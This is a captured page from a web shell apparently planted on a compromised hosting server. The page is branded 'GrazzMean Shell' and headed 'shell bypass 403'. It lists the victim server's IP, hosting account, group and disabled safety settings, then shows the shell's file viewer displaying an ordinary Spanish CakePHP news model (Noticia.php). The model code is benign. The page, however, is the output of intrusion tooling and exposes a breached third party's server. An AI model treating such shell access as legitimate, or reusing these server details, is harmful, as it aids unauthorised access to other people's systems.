shell bypass 403

GrazzMean Shell

Uname: Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
Software: Apache
PHP version: 5.6.40 [ PHP INFO ] PHP os: Linux
Server Ip: 217.160.0.194
Your Ip: 216.73.217.65
User: u72294154 (9179942) | Group: ftpusers (600)
Safe Mode: OFF
Disable Function:
NONE

name : Noticia.php
<?

App::uses('NoticiaEtiqueta', 'Model');

class Noticia extends AppModel {

    public $belongsTo = array('NoticiaCategoria');
    public $hasMany = array('NoticiaGaleria' => array('dependent' => true, 'order' => 'orden'));
    public $hasAndBelongsToMany = array(
        'Etiqueta' =>
        array(
            'className' => 'Etiqueta',
            'joinTable' => 'noticias_etiquetas',
            'foreignKey' => 'noticia_id',
            'associationForeignKey' => 'etiqueta_id',
            'dependent' => true,
        )
    );
    public $validate = array(
        'noticia_categoria_id' => array(
            'required' => array(
                'rule' => 'notBlank',
                'message' => 'Categoría requerida'
            ),
            'exist' => array(
                'rule' => 'checkExist',
                'message' => 'Debes seleccionar una categoría existente'
            )
        ),
        'fecha' => array(
            'required' => array(
                'rule' => 'notBlank',
                'message' => 'Fecha requerida'
            ),
            'format' => array(
                'rule' => array('date', 'dmy'),
                'message' => 'La fecha no tiene un formato adecuado: dd/mm/yyyy',
            )
        ),
        'nombre' => array(
            'required' => array(
                'rule' => 'notBlank',
                'message' => 'Título requerido'
            )
        ),
        'resumen' => array(
            'required' => array(
                'rule' => 'notBlank',
                'message' => 'Resumen requerido'
            )
        ),
        'texto' => array(
            'required' => array(
                'rule' => 'notBlank',
                'message' => 'Texto requerido'
            )
        )
    );

    public function checkExist($check) {
        $elemento = null;
        $campo = key($check);
        switch ($campo) {
            case 'noticia_categoria_id':
                $elemento = $this->NoticiaCategoria->findById($this->data[$this->name][$campo]);

                if (!empty($elemento)) {
                    $this->categoria = $elemento;
                }
                break;
        }

        if (empty($elemento)) {
            return false; //error
        }

        return true; //ok
    }

    public function afterSave($created, $options = array()) {
        parent::afterSave($created, $options);

        $entidad = $this->findById($this->id);
        if (!empty($entidad)) {
            $this->getVars($entidad); //obtenemos los valores de otras entidades para no repetir las consultas constantemente
            $db = $this->getDataSource();
            $this->updateAll(array(
                'busqueda' => $db->value($this->getBusqueda($entidad), 'string'),
                    ), array($this->name . '.id' => $this->id));
        }

        //Borramos las etiquetas existentes de la noticia
        $noticiaEtiquetas = new NoticiaEtiqueta();
        $noticiaEtiquetas->deleteAll(array('NoticiaEtiqueta.noticia_id' => $this->id), false);

        //Generamos los registros de las etiquetas
        $etiquetas = explode(',', $this->data[$this->name]['etiquetas']);
        if (!empty($etiquetas[0])) {
            $etiquetasAll = $this->Etiqueta->find('list', array('fields' => array('Etiqueta.nombre', 'Etiqueta.id')));

            foreach ($etiquetas as $e) {
                if (array_key_exists($e, $etiquetasAll)) { //etiqueta existente
                    $etiquetaID = $etiquetasAll[$e];
                } else { //etiqueta nueva
                    $this->Etiqueta->create();
                    $etiqueta = $this->Etiqueta->save(array('nombre' => $e));
                    $etiquetaID = $etiqueta['Etiqueta']['id'];
                }

                $this->query('INSERT INTO noticias_etiquetas (noticia_id, etiqueta_id) VALUES (' . (int) $this->id . ', ' . (int) $etiquetaID . ')');
            }
        }
    }

    public function beforeDelete($cascade = true) {
        parent::beforeDelete($cascade);

        $elementos = new NoticiaEtiqueta();
        $elementos->deleteAll(array('NoticiaEtiqueta.noticia_id' => $this->id), false);
    }

    private function getVars($entidad) {
        //Categoría
        if (empty($this->categoria) && !empty($entidad[$this->name]['noticia_categoria_id'])) {
            $elementos = new NoticiaCategoria();
            $elemento = $elementos->findById($entidad[$this->name]['noticia_categoria_id']);

            if (!empty($elemento)) {
                $this->categoria = $elemento;
            }
        }
    }

    private function getBusqueda($entidad) {
        $busqueda = array();

        //NoticiaCategoria
        if (!empty($this->categoria)) {
            $busqueda[] = $this->categoria['NoticiaCategoria']['nombre'];
        }

        //Resto de campos para la búsqueda
        $busqueda[] = $entidad[$this->name]['nombre'];
        $busqueda[] = $entidad[$this->name]['resumen'];
        $busqueda[] = strip_tags($entidad[$this->name]['texto']);

        return $this->generarBusqueda($busqueda);
    }

}
© 2026 GrazzMean